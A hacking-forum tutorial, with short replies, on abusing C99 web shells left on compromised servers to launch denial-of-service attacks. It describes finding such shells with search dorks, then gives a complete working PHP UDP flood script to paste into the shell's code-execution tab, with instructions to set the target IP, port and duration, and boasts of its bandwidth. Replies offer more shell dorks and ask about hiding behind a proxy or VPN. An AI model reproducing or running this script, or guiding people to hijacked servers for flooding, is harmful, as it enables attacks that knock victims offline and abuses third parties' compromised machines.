Hello and welcome to this tutorial.
As I just joined this community I felt like making a welcome contribution and post this easy but not very well known method of using c99 shells to perform DoS attacks/boot people.

As you may know there are many C99 shells around that work but don't have the permissions to upload your typical php shell file, which basicly seems to make it useless.
However most people seem to forget that there's still a PHP tab included with c99 where you can run your own PHP code, and thus you can still attack using this tab. I'll briefly show you how:

1. Find your typical C99 shell or other equivalents (Islamic Shells whatever other shells there are that basicly function the same as C99).

You can use these google dorks for it but you just need to be creative a bit to find working shells.

(Yes I leeched this list from another website, but relax it's an example just be creative with your dorks.)



2. After your found your typical C99 shell, go to the PHP-code page:


3. Now you got to paste the PHP script in this field that executes the DoS attack. I'll be using this simple PHP script I wrote up in a minute for this tutorial (simple UDP flood) but feel free to post better scripts in the replies below.

Code

$ip = "123.123.123.123";
$port = 80;
$time = 10;

///ignore this///
$max = time() + $time;
while(1)
{
    if(time() > $max)
    {
        break;
    }
    $fp = fsockopen("udp://$ip", $port);
    if($fp)
    {
        fwrite($fp, str_repeat(".", 6000));
        fclose($fp);
    }
}

echo 'Done!';

Be sure to replace the ip, port and time variables!

4. Press execute and the attack will initiate. Here's a picture from my VPS:



An impressive 80 Mbit/s for this single shell! When you search around a bit you can find even more powerful shells which beat the crap out of many booters around. I've even managed to find a 1gbit/s c99 shell a while ago.
It's easy and free. Thanks for reading and have fun!

[T-rom]

thanks for this :)

I actually have some loyk shell dorks

[Nordic]

Will i be needing a Proxy or VPN for this?
